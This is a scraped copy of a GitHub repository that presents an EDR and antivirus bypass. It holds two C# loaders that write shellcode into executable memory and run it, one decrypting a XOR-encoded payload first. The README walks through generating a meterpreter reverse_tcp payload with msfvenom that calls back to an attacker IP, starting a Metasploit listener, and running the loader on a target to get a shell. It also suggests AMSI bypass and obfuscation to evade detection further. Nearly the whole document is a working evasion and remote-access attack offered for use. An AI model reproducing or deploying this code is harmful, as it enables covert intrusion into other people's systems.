main 51b9eb469c77 cached
3 files
5.7 KB
1.5k tokens
12 symbols
1 requests
Download .txt
Repository: murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access
Branch: main
Commit: 51b9eb469c77
Files: 3
Total size: 5.7 KB

Directory structure:
gitextract_d2o17gl8/

├── README.md
├── loader.cs
└── loader_alternative.cs

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# EDR-Antivirus-Bypass-to-Gain-Shell-Access


This repository contains a **proof-of-concept (PoC)** for bypassing EDR and antivirus solutions using a memory injection technique. The code executes shellcode that spawns a reverse shell, successfully evading detection by various security mechanisms.

---

## Description

This project demonstrates how to bypass EDR and antivirus protection using Windows API functions such as `VirtualAlloc`, `CreateThread`, and `WaitForSingleObject`. The payload is injected directly into the process memory without being detected by security tools, establishing a connection to a remote system for a reverse shell.

> **Disclaimer:** This code is for educational purposes only. Use it responsibly and only in environments where you have explicit permission to test.

---

## Features

- Bypasses standard EDR and antivirus solutions
- Executes shellcode in memory to create a reverse shell
- Utilizes `VirtualAlloc` and `CreateThread` to inject the payload directly into process memory

---

## Requirements

- Windows Operating System (Tested on Windows 11 Pro)
- Kali Linux (For reverse shell listener)
- Visual Studio or any C# compiler

---

## Steps to Compile & Run

### 1. Clone the Repository

```bash
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git
cd EDR-Antivirus-Bypass-Shell-Access
```


### 2. Modify Shellcode

Before compiling, ensure that you modify the shellcode to point to your own IP address and port for the reverse shell. You can generate shellcode using `msfvenom:`
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp
```

Replace the `byte[] buf` section in Program.cs with the shellcode you just generated.


### 3. Compile the Code

Open the project in Visual Studio, or use the following command to compile the code using the .NET SDK:


```bash
csc loader.cs
```

**Alternatively, you can compile in Release mode for better optimization:


```bash
csc -optimize loader.cs
```


### 4. Start a Listener on Kali

On your Kali Linux machine, start a listener to catch the reverse shell. Use the following commands in Metasploit:


```bash
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
run
```


### 5. Execute the Payload

Transfer the compiled .exe file to the Windows machine. You can execute the file manually or use any other method to run the file:


```bash
loader.exe
```


6. Obtain the Shell

Once the payload is executed on the target machine, you should see a reverse shell session open in your Metasploit console. From there, you can interact with the system:



```bash
meterpreter > sysinfo
meterpreter > shell
```


7. Additional Bypass Techniques

To avoid detection by advanced EDR solutions, consider using techniques like process injection, obfuscation, or AMSI bypasses. This PoC can be extended with these methods for more robust evasion.


This POC bypasses all current AV and EDR solutions.  

I will soon share with you the codes I have developed with more advanced methods.


![virustotal](loader.png)






================================================
FILE: loader.cs
================================================
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    public static void Main(string[] args)
    {
       byte[] buf = new byte[510] { /* ... Shellcode ... */ };

        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000, 0x40);
        Marshal.Copy(buf, 0, addr, buf.Length);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}


================================================
FILE: loader_alternative.cs
================================================
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    public static void Main(string[] args)
    {
        // Encrypted shellcode (encrypted using XOR as an example)

        byte[] encryptedShellcode = new byte[510] { /* ... Encrypted shellcode data ... */  };

        byte[] buf = DecryptShellcode(encryptedShellcode);

        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x04 /* PAGE_READWRITE */);

        Marshal.Copy(buf, 0, addr, buf.Length);

        uint oldProtect;
        VirtualProtect(addr, (uint)buf.Length, 0x20 /* PAGE_EXECUTE */, out oldProtect);

        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }

    static byte[] DecryptShellcode(byte[] encryptedShellcode)
    {
        byte key = 0xAA; 
        byte[] decryptedShellcode = new byte[encryptedShellcode.Length];
        for (int i = 0; i < encryptedShellcode.Length; i++)
        {
            decryptedShellcode[i] = (byte)(encryptedShellcode[i] ^ key);
        }
        return decryptedShellcode;
    }
}
Download .txt
gitextract_d2o17gl8/

├── README.md
├── loader.cs
└── loader_alternative.cs
Download .txt
SYMBOL INDEX (12 symbols across 2 files)

FILE: loader.cs
  class Program (line 4) | class Program
    method VirtualAlloc (line 6) | [DllImport("kernel32.dll")]
    method CreateThread (line 9) | [DllImport("kernel32.dll")]
    method WaitForSingleObject (line 12) | [DllImport("kernel32.dll")]
    method Main (line 15) | public static void Main(string[] args)

FILE: loader_alternative.cs
  class Program (line 4) | class Program
    method VirtualAlloc (line 6) | [DllImport("kernel32.dll")]
    method VirtualProtect (line 9) | [DllImport("kernel32.dll")]
    method CreateThread (line 12) | [DllImport("kernel32.dll")]
    method WaitForSingleObject (line 15) | [DllImport("kernel32.dll")]
    method Main (line 18) | public static void Main(string[] args)
    method DecryptShellcode (line 37) | static byte[] DecryptShellcode(byte[] encryptedShellcode)
Condensed preview — 3 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6K chars).
[
  {
    "path": "README.md",
    "chars": 3147,
    "preview": "# EDR-Antivirus-Bypass-to-Gain-Shell-Access\n\n\nThis repository contains a **proof-of-concept (PoC)** for bypassing EDR an"
  },
  {
    "path": "loader.cs",
    "chars": 937,
    "preview": "using System;\nusing System.Runtime.InteropServices;\n\nclass Program\n{\n    [DllImport(\"kernel32.dll\")]\n    public static e"
  },
  {
    "path": "loader_alternative.cs",
    "chars": 1768,
    "preview": "using System;\nusing System.Runtime.InteropServices;\n\nclass Program\n{\n    [DllImport(\"kernel32.dll\")]\n    public static e"
  }
]

About this extraction

This page contains the full source code of the murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3 files (5.7 KB), approximately 1.5k tokens, and a symbol index with 12 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!